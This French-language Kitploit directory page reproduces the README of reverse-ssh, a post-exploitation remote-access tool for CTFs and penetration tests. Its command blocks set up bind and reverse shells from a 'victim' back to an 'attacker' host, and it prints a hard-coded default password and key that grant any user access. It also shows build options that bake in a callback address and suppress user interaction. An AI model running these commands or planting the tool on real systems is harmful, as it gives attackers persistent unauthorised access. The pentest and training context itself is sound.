Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
reverse-ssh — Serveur ssh statiquement lié avec fonctionnalité de shell inversé pour les CTFs et autres | Kitploit
Outils/GitHubGitHub/fahrj/reverse-ssh
Post-ExploitationCTFTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubfahrj/reverse-ssh

reverse-ssh

Serveur ssh statiquement lié avec fonctionnalité de shell inversé pour les CTFs et autres

Voir le dépôt
1.1k150il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ReverseSSH

Un serveur ssh lié statiquement avec une fonction de connexion inverse pour un accès distant simple mais puissant. Particulièrement utile lors des challenges HackTheBox, CTF ou similaires.

A été développé et largement utilisé lors de la préparation à l'examen OSCP.

Obtenez la dernière version

Showcase

Fonctionnalités

Attraper un reverse shell avec netcat c'est cool, certes, mais qui n'a jamais fermé accidentellement un reverse shell avec une interruption clavier due à la mémoire musculaire ? Outre leur fragilité, ces shells manquent souvent de fonctionnalités pratiques comme un accès entièrement interactif, la complétion par TAB ou l'historique.

Au lieu de cela, vous pouvez simplement déployer le serveur ssh léger (<1.5MB) reverse-ssh sur la cible, et profiter de commodités supplémentaires comme le transfert de fichiers et le redirection de ports !

ReverseSSH tente de combler le fossé entre le premier accès à une cible et l'escalade de privilèges locale complète. Ses principaux atouts sont les suivants :

  • Accès shell entièrement interactif (voir les mises en garde pour les anciennes versions de Windows ci-dessous)
  • Transfert de fichiers via sftp
  • Redirection de ports locale / distante / dynamique
  • Peut être utilisé en tant que bind-shell et reverse-shell
  • Prend en charge les systèmes d'exploitation Unix et Windows

Mises en garde pour Windows

Un powershell entièrement interactif sur Windows repose sur Windows Pseudo Console ConPTY et nécessite donc au moins Win10 Build 17763. Sur les versions antérieures, vous pouvez toujours obtenir un reverse shell interactif qui ne peut pas gérer les codes de terminal virtuel tels que les touches fléchées ou les interruptions clavier. Dans ce cas, vous devez ajouter la commande cmd, par exemple ssh <OPTIONS> <IP> cmd.

Vous pouvez obtenir un accès shell entièrement interactif pour les anciennes versions de Windows en plaçant ssh-shellhost.exe de OpenSSH pour Windows dans le même répertoire que reverse-ssh, puis en utilisant le drapeau -s ssh-shellhost.exe. Cela redirigera tout le trafic via ssh-shellhost.exe, qui émule un pty et transforme tous les codes de terminal virtuel pour que Windows puisse les comprendre.

Prérequis

Le simple fait d'exécuter les binaires fournis repose uniquement sur les prérequis système de golang.

En résumé :

  • Linux : version du noyau 2.6.23 et supérieure
  • Windows : Windows Server 2008R2 et supérieur ou Windows 7 et supérieur

La compilation nécessite en outre :

  • Version de golang 1.15
  • Optionnellement upx pour la compression (par ex. apt install upx-ucl)

Utilisation

Une fois que reverse-ssh est en cours d'exécution sur la victime, vous pouvez vous connecter avec n'importe quel nom d'utilisateur et le mot de passe par défaut letmeinbrudipls, la clé ssh ou tout ce que vous avez spécifié lors de la compilation. Après tout, c'est juste un serveur ssh :

root@kitploit:~
# Accès shell entièrement interactif
$ ssh -p <RPORT> <RHOST>

# Exécution simple de commande
$ ssh -p <RPORT> <RHOST> whoami

# Transferts de fichiers complets
$ sftp -P <RPORT> <RHOST>

# Redirection de ports dynamique en tant que proxy SOCKS sur le port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>

Exécution de ReverseSSH en tant que bind shell

root@kitploit:~
# Victime
victim$ ./reverse-ssh

# Attaquant (mot de passe par défaut : letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

Exécution de ReverseSSH en tant que reverse shell

Remarque : vous pouvez compiler ReverseSSH avec les paramètres LHOST et LPORT pour faciliter l'exécution sur la cible, voir ci-dessous

root@kitploit:~
# Sur l'attaquant (préparez-vous à recevoir la demande entrante ;
# peut être omis si vous avez déjà un démon ssh en cours d'exécution, par ex. OpenSSH)
# REMARQUE : LPORT de 8888 entre en conflit avec les connexions entrantes ; utilisez le drapeau `-b 8889` ou similaire sur la victime dans ce cas
attacker$ ./reverse-ssh -v -l -p <LPORT>

# Sur la victime
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# ou en cas d'un démon ssh écoutant sur le port 22 avec authentification par mot de passe pour l'utilisateur 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# Sur l'attaquant (mot de passe par défaut : letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# ou avec la configuration ssh ci-dessous
attacker$ ssh target

En fin de compte, c'est du ssh pur, vous pourriez donc réceptionner l'appel de redirection de port distant provenant de la machine de la victime avec votre démon openssh écoutant sur le port 22. Ajoutez simplement <USER>@ et fournissez le mot de passe lorsqu'il vous est demandé. L'appel au domicile utilise actuellement uniquement le mot de passe, car je n'ai pas encore eu envie d'y intégrer une clé privée...

Pour encore plus de commodité, ajoutez ce qui suit à votre ~/.ssh/config, copiez la clé privée ssh dans ~/.ssh/ et appelez simplement ssh target ou sftp target par la suite :

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

Utilisation complète

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

Instructions de compilation

Assurez-vous d'installer les prérequis ci-dessus, tels que golang dans une version compatible, et de le configurer correctement. Ensuite, vous pouvez compiler avec make, ce qui créera des binaires statiques dans bin. Utilisez make compressed pour empaqueter les binaires avec upx et réduire encore leur taille.

root@kitploit:~
$ make

# ou pour créer en plus des binaires empaquetés avec upx
$ make compressed

Astuces de compilation

Vous pouvez également spécifier une ou plusieurs des variables d'environnement suivantes lors de la compilation pour personnaliser ReverseSSH selon votre cas d'utilisation :

  • RS_SHELL pour modifier le shell par défaut
  • RS_PASS pour fournir votre mot de passe personnalisé
  • RS_PUB pour fournir votre clé autorisée personnalisée
  • LUSER pour modifier le nom d'utilisateur par défaut de la tentative de connexion ssh
  • LHOST pour fournir une valeur LHOST par défaut et faire en sorte que ReverseSSH utilise par défaut le scénario inverse
  • LPORT pour modifier le port d'écoute par défaut ou le port vers lequel une tentative de connexion ssh est envoyée
  • BPORT pour modifier le port d'écoute par défaut des connexions inverses sur la machine de l'attaquant ; 0 signifie qu'un port libre quelconque est utilisé
  • NOCLI avec n'importe quelle valeur supprime toute interaction avec l'utilisateur (le binaire ignore tous les drapeaux ou arguments fournis)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

Compilation pour différents systèmes d'exploitation ou architectures

Par défaut, reverse-ssh est compilé pour votre système d'exploitation et votre architecture actuels, ainsi que pour linux et windows en x86 et x64. Pour compiler pour d'autres architectures ou un autre système d'exploitation, vous pouvez fournir des variables d'environnement correspondant à votre cible, par exemple pour linux/arm64 :

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

Une liste des cibles disponibles au format OS/arch peut être obtenue via go tool dist list.

Contribuer

Une fonctionnalité époustouflante manque-t-elle ? Quelque chose ne fonctionne pas comme prévu ?

Créez une issue ou une pull request !

Télécharger l’outil